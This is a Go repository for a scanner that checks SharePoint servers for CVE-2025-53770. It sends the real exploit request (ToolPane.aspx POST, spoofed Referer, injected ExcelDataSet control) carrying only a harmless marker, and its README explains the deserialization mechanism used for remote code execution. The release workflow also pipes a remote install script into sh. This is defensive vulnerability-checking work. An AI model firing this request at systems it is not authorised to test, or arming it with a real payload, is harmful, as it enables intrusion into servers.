├── .github
├── golangci.yml
├── go
│ └── Dockerfile
├── dependabot.yml
├── goreleaser.yml
└── workflows
│ └── release.yml
├── Makefile
├── .gitignore
├── go.mod
├── pkg
└── payload
│ ├── test_payload.go
│ ├── test.go
│ ├── extract.go
│ └── payload.go
├── Dockerfile
├── go.sum
├── cmd
└── main.go
└── README.md
/.github/golangci.yml:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.github/go/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.24
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 |
2 | all: run
3 |
4 | run:
5 | go run ./cmd/... -log=debug $@
6 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | dev.yml
3 | dev.yaml
4 | dist/
5 | .semrel
6 | .generated-go-semantic-release-changelog.md
7 | .idea/
8 | *.json
9 | .cache/
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/hazcod/CVE-2025-53770
2 |
3 | go 1.24
4 |
5 | require (
6 | github.com/sirupsen/logrus v1.9.3
7 | golang.org/x/net v0.42.0
8 | )
9 |
10 | require golang.org/x/sys v0.34.0 // indirect
11 |
--------------------------------------------------------------------------------
/.github/dependabot.yml:
--------------------------------------------------------------------------------
1 | version: 2
2 |
3 | updates:
4 |
5 | - package-ecosystem: github-actions
6 | directory: "/"
7 | schedule:
8 | interval: daily
9 | time: '04:00'
10 | open-pull-requests-limit: 10
11 | commit-message:
12 | prefix: "chore(cicd):"
13 |
14 | - package-ecosystem: gomod
15 | directory: "/"
16 | schedule:
17 | interval: daily
18 | time: '04:00'
19 | open-pull-requests-limit: 10
20 | commit-message:
21 | prefix: "chore(go):"
22 |
23 | - package-ecosystem: docker
24 | directory: "/.github/go/"
25 | schedule:
26 | interval: daily
27 | time: '04:00'
28 | open-pull-requests-limit: 10
29 | commit-message:
30 | prefix: "chore(go):"
--------------------------------------------------------------------------------
/pkg/payload/test_payload.go:
--------------------------------------------------------------------------------
1 | package payload
2 |
3 | import "time"
4 |
5 | const TestPayloadMarker = "This is a harmless CVE-2025-53770 PoC marker."
6 |
7 | var TestPayload = []byte(`
8 |
9 |
10 |
11 |
12 |
13 | ` + TestPayloadMarker + `
14 | ` + time.Now().UTC().Format(time.RFC3339) + `
15 |
16 |
17 |
18 |
19 |
20 | `)
21 |
--------------------------------------------------------------------------------
/.github/goreleaser.yml:
--------------------------------------------------------------------------------
1 | version: 2
2 |
3 | before:
4 | hooks:
5 | - go mod download
6 |
7 | checksum:
8 | name_template: 'checksums.txt'
9 |
10 | snapshot:
11 | version_template: "CVE-2025-53770_{{ .Version }}"
12 |
13 | changelog:
14 | sort: asc
15 | filters:
16 | exclude:
17 | - '^docs:'
18 | - '^test:'
19 | - '^chore'
20 |
21 | release:
22 | disable: false
23 |
24 | dockers:
25 | -
26 | image_templates:
27 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:latest"
28 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:{{ .Tag }}"
29 | - "ghcr.io/hazcod/cve-2025-53770/cve-2025-53770:{{ .Major }}"
30 |
31 | sboms:
32 | -
33 | artifacts: archive
34 |
35 | builds:
36 | -
37 | id: cli
38 | dir: ./cmd/
39 | env: [CGO_ENABLED=0]
40 | ldflags: [-w -s -extldflags "-static"]
41 | goos: [darwin, linux, windows]
42 | goarch: [amd64, arm64]
43 | binary: CVE-2025-53770
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:latest AS builder
2 |
3 | # add ca certificates and timezone data files
4 | # hadolint ignore=DL3018
5 | RUN apk add -U --no-cache ca-certificates tzdata
6 |
7 | # add unprivileged user
8 | RUN adduser -s /bin/true -u 1000 -D -h /app app \
9 | && sed -i -r "/^(app|root)/!d" /etc/group /etc/passwd \
10 | && sed -i -r 's#^(.*):[^:]*$#\1:/sbin/nologin#' /etc/passwd
11 |
12 | #
13 | # ---
14 | #
15 |
16 | # start with empty image
17 | FROM scratch
18 |
19 | # add-in our timezone data file
20 | COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
21 |
22 | # add-in our unprivileged user
23 | COPY --from=builder /etc/passwd /etc/group /etc/shadow /etc/
24 |
25 | # add-in our ca certificates
26 | COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
27 |
28 | # from now on, run as the unprivileged user
29 | USER 1000
30 |
31 | # add our application binary
32 | COPY CVE-2025-53770 /CVE-2025-53770
33 |
34 | # entrypoint
35 | ENTRYPOINT ["/CVE-2025-53770"]
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
5 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
6 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
7 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
8 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
9 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
10 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
11 | golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs=
12 | golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
13 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
14 | golang.org/x/sys v0.34.0 h1:H5Y5sJ2L2JRdyv7ROF1he/lPdvFsd0mJHFw2ThKHxLA=
15 | golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
16 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
17 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
18 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
19 |
--------------------------------------------------------------------------------
/pkg/payload/test.go:
--------------------------------------------------------------------------------
1 | package payload
2 |
3 | import (
4 | "bytes"
5 | "crypto/tls"
6 | "fmt"
7 | "net/http"
8 | "strings"
9 | "time"
10 | )
11 |
12 | var insecureHTTPClient = &http.Client{
13 | Transport: &http.Transport{
14 | TLSClientConfig: &tls.Config{
15 | InsecureSkipVerify: true, // ← this disables TLS certificate validation
16 | },
17 | },
18 | Timeout: 15 * time.Second,
19 | }
20 |
21 | func DetectSharePointVersion(target string) (string, error) {
22 | // Normalize target
23 | if !strings.HasPrefix(target, "http") {
24 | target = "https://" + target
25 | }
26 | if strings.HasSuffix(target, "/") {
27 | target = target[:len(target)-1]
28 | }
29 |
30 | // Build request to a known SharePoint path
31 | resp, err := insecureHTTPClient.Get(target + "/_layouts/15/start.aspx")
32 | if err != nil {
33 | return "", fmt.Errorf("error making request: %w", err)
34 | }
35 | defer resp.Body.Close()
36 |
37 | // Heuristics from headers
38 | var version string
39 | headers := []string{
40 | "MicrosoftSharePointTeamServices",
41 | "X-AspNet-Version",
42 | "X-AspNetMvc-Version",
43 | }
44 |
45 | for _, h := range headers {
46 | if v := resp.Header.Get(h); v != "" {
47 | version += fmt.Sprintf("%s: %s\n", h, v)
48 | }
49 | }
50 |
51 | // Try to read from HTML if headers didn’t work
52 | if version == "" {
53 | buf := new(bytes.Buffer)
54 | _, _ = buf.ReadFrom(resp.Body)
55 | body := buf.String()
56 |
57 | if strings.Contains(body, "layouts/15/init.js") {
58 | version += "Detected layout path: layouts/15 => SharePoint 2013+ (likely 2016/2019/SE)\n"
59 | }
60 | if strings.Contains(body, "layouts/16/init.js") {
61 | version += "Detected layout path: layouts/16 => SharePoint Online or 2019+\n"
62 | }
63 | if strings.Contains(body, "SharePoint") && strings.Contains(body, "Generated") {
64 | version += "Likely SharePoint detected via meta tags\n"
65 | }
66 | }
67 |
68 | if version == "" {
69 | version = "Unknown / no SharePoint signature found"
70 | }
71 |
72 | return version, nil
73 | }
74 |
--------------------------------------------------------------------------------
/pkg/payload/extract.go:
--------------------------------------------------------------------------------
1 | package payload
2 |
3 | import (
4 | "bytes"
5 | "compress/gzip"
6 | "encoding/base64"
7 | "encoding/xml"
8 | "fmt"
9 | "io"
10 | "strings"
11 |
12 | "golang.org/x/net/html"
13 | )
14 |
15 | // ExtractFromPayloadResponse parses SharePoint ToolPane HTML to extract and decode CompressedDataTable payload
16 | func ExtractFromPayloadResponse(payloadHTML string) (string, error) {
17 | doc, err := html.Parse(strings.NewReader(payloadHTML))
18 | if err != nil {
19 | return "", fmt.Errorf("failed to parse HTML: %w", err)
20 | }
21 |
22 | var xmlContent string
23 | var f func(*html.Node)
24 | f = func(n *html.Node) {
25 | if n.Type == html.ElementNode &&
26 | (n.Data == "textarea" || n.Data == "input") {
27 | for _, attr := range n.Attr {
28 | if attr.Key == "id" && attr.Val == "MSOTlPn_DWP" {
29 | if n.Data == "textarea" && n.FirstChild != nil {
30 | xmlContent = n.FirstChild.Data
31 | } else {
32 | for _, a := range n.Attr {
33 | if a.Key == "value" {
34 | xmlContent = a.Val
35 | break
36 | }
37 | }
38 | }
39 | }
40 | }
41 | }
42 | for c := n.FirstChild; c != nil; c = c.NextSibling {
43 | f(c)
44 | }
45 | }
46 | f(doc)
47 |
48 | if xmlContent == "" {
49 | return "", fmt.Errorf("MSOTlPn_DWP input not found")
50 | }
51 |
52 | // Go's XML library does not support the ASP.NET markers
53 | cleanedXMLContent := ""
54 | for _, line := range strings.Split(xmlContent, "\n") {
55 | if !strings.HasPrefix(strings.TrimSpace(line), "<%@") {
56 | cleanedXMLContent += line + "\n"
57 | }
58 | }
59 | decoder := xml.NewDecoder(strings.NewReader(cleanedXMLContent))
60 |
61 | var compressed string
62 | for {
63 | tok, err := decoder.Token()
64 | if err == io.EOF {
65 | break
66 | } else if err != nil {
67 | return "", fmt.Errorf("XML parsing error: %w", err)
68 | }
69 |
70 | if se, ok := tok.(xml.StartElement); ok && strings.EqualFold(se.Name.Local, "ExcelDataSet") {
71 | for _, attr := range se.Attr {
72 | if attr.Name.Local == "CompressedDataTable" {
73 | compressed = attr.Value
74 | break
75 | }
76 | }
77 | }
78 | }
79 |
80 | if compressed == "" {
81 | return "", fmt.Errorf("CompressedDataTable attribute not found")
82 | }
83 |
84 | // Step 3: base64 decode
85 | data, err := base64.StdEncoding.DecodeString(compressed)
86 | if err != nil {
87 | return "", fmt.Errorf("base64 decode failed: %w", err)
88 | }
89 |
90 | // Step 4: decompress gzip
91 | gr, err := gzip.NewReader(bytes.NewReader(data))
92 | if err != nil {
93 | return "", fmt.Errorf("gzip decompression failed: %w", err)
94 | }
95 | defer gr.Close()
96 |
97 | var out bytes.Buffer
98 | if _, err := io.Copy(&out, gr); err != nil {
99 | return "", fmt.Errorf("gzip read failed: %w", err)
100 | }
101 |
102 | return out.String(), nil
103 | }
104 |
--------------------------------------------------------------------------------
/cmd/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/tls"
5 | "flag"
6 | "fmt"
7 | "github.com/hazcod/CVE-2025-53770/pkg/payload"
8 | "io"
9 | "net/http"
10 | "os"
11 | "strings"
12 | "time"
13 | )
14 | import "github.com/sirupsen/logrus"
15 |
16 | func main() {
17 | logger := logrus.New()
18 | logLevel := flag.String("log", logrus.InfoLevel.String(), "log level")
19 | getVersion := flag.Bool("version", false, "try derive SharePoint version")
20 | flag.Parse()
21 |
22 | targets := flag.Args()
23 | if len(targets) == 0 {
24 | _, _ = fmt.Fprintln(os.Stderr, "Missing targets. Usage: scanner ...")
25 | flag.Usage()
26 | os.Exit(1)
27 | }
28 |
29 | logrusLevel, err := logrus.ParseLevel(*logLevel)
30 | if err != nil {
31 | logger.WithError(err).Fatal("error parsing log level")
32 | }
33 |
34 | logger.WithField("level", logrusLevel.String()).Info("set log level")
35 | logger.SetLevel(logrusLevel)
36 |
37 | // ---
38 |
39 | insecureHttpClient := &http.Client{
40 | Timeout: 15 * time.Second,
41 | Transport: &http.Transport{
42 | TLSClientConfig: &tls.Config{
43 | InsecureSkipVerify: true,
44 | },
45 | },
46 | }
47 |
48 | logger.WithField("targets", len(targets)).Info("starting scanner")
49 |
50 | for _, target := range targets {
51 | tgtLogger := logger.WithField("target", target)
52 |
53 | // try retrieve sharepoint version
54 | if *getVersion {
55 | tgtLogger.Debug("detecting SharePoint version")
56 | version, err := payload.DetectSharePointVersion(target)
57 | if err != nil {
58 | tgtLogger.WithError(err).Warn("error detecting SharePoint version")
59 | } else {
60 | tgtLogger.WithField("version", version).Info("detected SharePoint version")
61 | }
62 | }
63 |
64 | // build the payload
65 | tgtLogger.Debug("building payload")
66 |
67 | tgtPayload, err := payload.GetPayload(target, payload.TestPayload)
68 | if err != nil {
69 | tgtLogger.WithError(err).Error("error getting payload")
70 | continue
71 | }
72 |
73 | tgtLogger.Debugln(tgtPayload.URL.String())
74 |
75 | // send the payload to the target
76 | tgtLogger.Debug("sending payload")
77 | resp, err := insecureHttpClient.Do(tgtPayload)
78 | if err != nil {
79 | tgtLogger.WithError(err).Error("error sending payload")
80 | continue
81 | }
82 |
83 | if resp.StatusCode > 399 {
84 | tgtLogger.WithField("status", resp.StatusCode).Error("error sending payload")
85 | }
86 |
87 | respBytes, err := io.ReadAll(resp.Body)
88 | _ = resp.Body.Close()
89 |
90 | if err != nil {
91 | tgtLogger.WithError(err).Fatal("error reading response")
92 | }
93 |
94 | fullResponse := string(respBytes)
95 | tgtLogger.WithField("response", resp.StatusCode).Debugf("%s", fullResponse)
96 |
97 | // decode the response
98 | payloadResponse, err := payload.ExtractFromPayloadResponse(fullResponse)
99 | if err != nil {
100 | tgtLogger.WithError(err).Debug("error extracting payload response")
101 | }
102 |
103 | tgtLogger.Debug(payloadResponse)
104 |
105 | // if it contains our marker, the host is vulnerable
106 | if strings.Contains(payloadResponse, payload.TestPayloadMarker) {
107 | tgtLogger.Warn("target is vulnerable")
108 | } else {
109 | tgtLogger.Info("target is not vulnerable")
110 | }
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/.github/workflows/release.yml:
--------------------------------------------------------------------------------
1 | name: release
2 |
3 | on:
4 | push:
5 | branches: [main, master]
6 |
7 | jobs:
8 | goreleaser:
9 | runs-on: ubuntu-latest
10 |
11 | outputs:
12 | hashes: ${{ steps.hashes.outputs.hashes }}
13 | version: ${{ steps.semrel.outputs.version }}
14 |
15 | permissions:
16 | contents: write
17 | packages: write
18 |
19 | steps:
20 | -
21 | name: Checkout
22 | uses: actions/checkout@v4
23 | with:
24 | fetch-depth: 0
25 | -
26 | id: vars
27 | run: |
28 | goVersion=$(grep '^FROM go' .github/go/Dockerfile | cut -d ' ' -f 2 | cut -d ':' -f 2)
29 | echo "go_version=${goVersion}" >> $GITHUB_OUTPUT
30 | echo "Using Go version ${goVersion}"
31 | -
32 | name: Set up Go
33 | uses: actions/setup-go@v5
34 | with:
35 | go-version: ${{ steps.vars.outputs.go_version }}
36 | -
37 | name: Run Trivy in GitHub SBOM mode and submit results to Dependency Snapshots
38 | uses: aquasecurity/trivy-action@master
39 | with:
40 | scan-type: 'fs'
41 | format: 'github'
42 | output: 'dependency-results.sbom.json'
43 | image-ref: '.'
44 | github-pat: ${{ secrets.GH_PRIVATEREPO_TOKEN }}
45 | -
46 | name: Remove SBOM result
47 | run: |
48 | rm dependency-results.sbom.json
49 | -
50 | name: Install syft
51 | run: |
52 | curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
53 | -
54 | name: Create release tag
55 | uses: go-semantic-release/action@v1
56 | id: semrel
57 | with:
58 | github-token: ${{ secrets.GITHUB_TOKEN }}
59 | -
60 | run: git fetch -a
61 | if: steps.semrel.outputs.version != ''
62 | -
63 | name: Login to GitHub Docker registry
64 | if: steps.semrel.outputs.version != ''
65 | uses: docker/login-action@v3
66 | with:
67 | registry: ghcr.io
68 | username: ${{ github.repository_owner }}
69 | password: ${{ secrets.GITHUB_TOKEN }}
70 | -
71 | name: Release
72 | uses: goreleaser/goreleaser-action@v6.3.0
73 | if: steps.semrel.outputs.version != ''
74 | with:
75 | version: latest
76 | args: release --config=.github/goreleaser.yml --clean
77 | env:
78 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
79 | -
80 | name: Generate dist hashes
81 | id: hashes
82 | if: steps.semrel.outputs.version != ''
83 | env:
84 | ARTIFACTS: "${{ steps.goreleaser.outputs.artifacts }}"
85 | run: |
86 | checksum_file=$(echo "$ARTIFACTS" | jq -r '.[] | select (.type=="Checksum") | .path')
87 | echo "hashes=$(cat $checksum_file | base64 -w0)" >> $GITHUB_OUTPUT
88 |
89 | provenance:
90 | needs: [goreleaser]
91 | if: needs.goreleaser.outputs.hashes != ''
92 | permissions:
93 | actions: read # To read the workflow path.
94 | id-token: write # To sign the provenance.
95 | contents: write # To add assets to a release.
96 | uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0
97 | with:
98 | base64-subjects: "${{ needs.goreleaser.outputs.hashes }}"
--------------------------------------------------------------------------------
/pkg/payload/payload.go:
--------------------------------------------------------------------------------
1 | package payload
2 |
3 | import (
4 | "bytes"
5 | "compress/gzip"
6 | "encoding/base64"
7 | "errors"
8 | "fmt"
9 | "net"
10 | "net/http"
11 | "net/url"
12 | "strings"
13 | )
14 |
15 | func isValidTarget(target string) error {
16 | // Handle missing protocol (without modifying original input)
17 | parsingTarget := target
18 | if !strings.HasPrefix(target, "http://") && !strings.HasPrefix(target, "https://") {
19 | parsingTarget = "http://" + target
20 | }
21 |
22 | // Parse URL structure
23 | parsed, err := url.Parse(parsingTarget)
24 | if err != nil {
25 | return fmt.Errorf("could not parse URL: %v", err)
26 | }
27 |
28 | // Validate scheme
29 | if parsed.Scheme != "http" && parsed.Scheme != "https" {
30 | return errors.New("invalid scheme provided")
31 | }
32 |
33 | // Get real hostname (automatically handles IPv6 brackets and ports)
34 | host := parsed.Hostname()
35 | if host == "" {
36 | return errors.New("invalid host provided")
37 | }
38 |
39 | // Check if valid IP format
40 | if ip := net.ParseIP(host); ip != nil {
41 | return nil
42 | }
43 |
44 | // Attempt DNS resolution
45 | if _, err := net.LookupIP(host); err != nil {
46 | return fmt.Errorf("could not resolve host: %v", err)
47 | }
48 |
49 | return nil
50 | }
51 |
52 | func gzipbase64(payload []byte) (string, error) {
53 | var buf bytes.Buffer
54 |
55 | zipper := gzip.NewWriter(&buf)
56 | _, err := zipper.Write(payload)
57 | _ = zipper.Close()
58 |
59 | if err != nil {
60 | return "", fmt.Errorf("could not gzip: %v", err)
61 | }
62 |
63 | base64Payload := base64.StdEncoding.EncodeToString(buf.Bytes())
64 | return base64Payload, nil
65 | }
66 |
67 | func GetPayload(target string, payload []byte) (*http.Request, error) {
68 | if err := isValidTarget(target); err != nil {
69 | return nil, fmt.Errorf("invalid target provided; %v", err)
70 | }
71 |
72 | if !strings.HasPrefix(target, "http") {
73 | target = "https://" + target
74 | }
75 |
76 | if strings.HasSuffix(target, "/") {
77 | target = target[:len(target)-1]
78 | }
79 |
80 | encodedPayload, err := gzipbase64(payload)
81 | if err != nil {
82 | return nil, fmt.Errorf("could not encode payload: %v", err)
83 | }
84 |
85 | form := url.Values{}
86 | form.Set("MSOTlPn_Uri", fmt.Sprintf("%s/_controltemplates/15/AclEditor.ascx", target))
87 | form.Set("MSOTlPn_DWP", `
88 | <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
89 | <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 | `)
98 |
99 | // Construct the request body
100 | body := bytes.NewBufferString(form.Encode())
101 |
102 | // Build the HTTP POST request
103 | req, err := http.NewRequest(http.MethodPost, target+"/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx", body)
104 | if err != nil {
105 | return nil, fmt.Errorf("could not build request: %v", err)
106 | }
107 |
108 | // Set HTTP headers to mimic a browser
109 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
110 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0")
111 | req.Header.Set("X-Tool", "github.com/hazcod/CVE-2025-53770")
112 | req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
113 | req.Header.Set("Referer", "/_layouts/SignOut.aspx")
114 | req.Header.Set("Connection", "close")
115 |
116 | return req, nil
117 | }
118 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2025-53770
2 |
3 | This is a scanner for [the SharePoint unauthenticated Remote Code Execution vulnerability](https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/), assigned CVE number CVE-2025-53770.
4 | The code for this was written by reverse-engineering a payload seen in [the wild](https://raw.githubusercontent.com/kaizensecurity/CVE-2025-53770/refs/heads/master/payload).
5 |
6 | Use at your own risk, I am not responsible for any negative impact this might cause.
7 |
8 | ## How does it work?
9 |
10 | It tries to exploit the vulnerability by injecting [a marker](pkg/payload/test_payload.go) in the SharePoint ToolBox widget.
11 | If in the SharePoint server response this unharmful marker is found, the host is marked as vulnerable.
12 |
13 | ## How to use
14 | ```zsh
15 | # check if is vulnerable and try extract version information
16 | % ./CVE-2025-53770 [ ...]
17 | INFO[0000] set log level fields.level=info
18 | INFO[0000] starting scanner targets=1
19 | INFO[0001] detected SharePoint version target= version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
20 | WARN[0001] target is vulnerable target=
21 |
22 | # turn on debug logging and try retrieving SharePoint version information
23 | % ./CVE-2025-53770 -log=debug -version
24 | ...
25 | ```
26 |
27 | ## Who is vulnerable?
28 |
29 | Anyone running the *on-prem* version of SharePoint server without KB5002768 & KB5002754.
30 |
31 | ## How does this vulnerability work?
32 |
33 | The vulnerability presumably builds upon a previously disclosed vulnerability for SharePoint, CVE-2025-49706.
34 | By sending a HTTP POST request to `https:///_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` with a GZIP-ed, BASE64-encoded payload, you can achieve Remote Code Execution as the SharePoint runtime process.
35 | Two form parameters are important here:
36 |
37 | 1. `MSOTlPn_Uri`: Control source path
38 |
39 | This pretends to reference a legitimate SharePoint control (AclEditor.ascx), and tricks SharePoint into allowing the web part edit.
40 | This seems to be mock/fake value just to pass validation.
41 | The original malicious payload includes `MSOTlPn_Uri=https://%s/_controltemplates/15/AclEditor.ascx`, but this does not seem to be used at this point.
42 |
43 | 2. `MSOTlPn_DWP`: Web partial configuration.
44 |
45 | This parameter injects custom ASP.NET directives (`<%@ Register %>`) and server-side markup (``).
46 | The `CompressedDataTable` parameter holds attacker-controlled serialized data (GZIP + base64), triggering the RCE.
47 | This payload follows a certain structure:
48 |
49 | ```xml
50 | <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
51 | <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 | ```
60 |
61 | If a control like `Scorecard:ExcelDataSet` exists and its `CompressedDataTable` property is set, it's deserialized directly by the SharePoint DWP Parser.
62 |
63 | The payload itself can be rather interesting, as it can contain a `System.DelegateSerializationHolder` which triggers a deserialization RCE.
64 | Threat actors abused this to pass `/c powershell -EncodedCommand ` in their payload to achieve code exection.
65 | In our case, we merely pass a static placeholder to prove exploitability;
66 |
67 | ```xml
68 |
69 |
70 |
71 |
72 |
73 | This is a harmless CVE-2025-53770 PoC marker.
74 | 2025-07-21T14:04:52Z
75 |
76 |
77 |
78 |
79 |
80 | ```
81 |
82 |
--------------------------------------------------------------------------------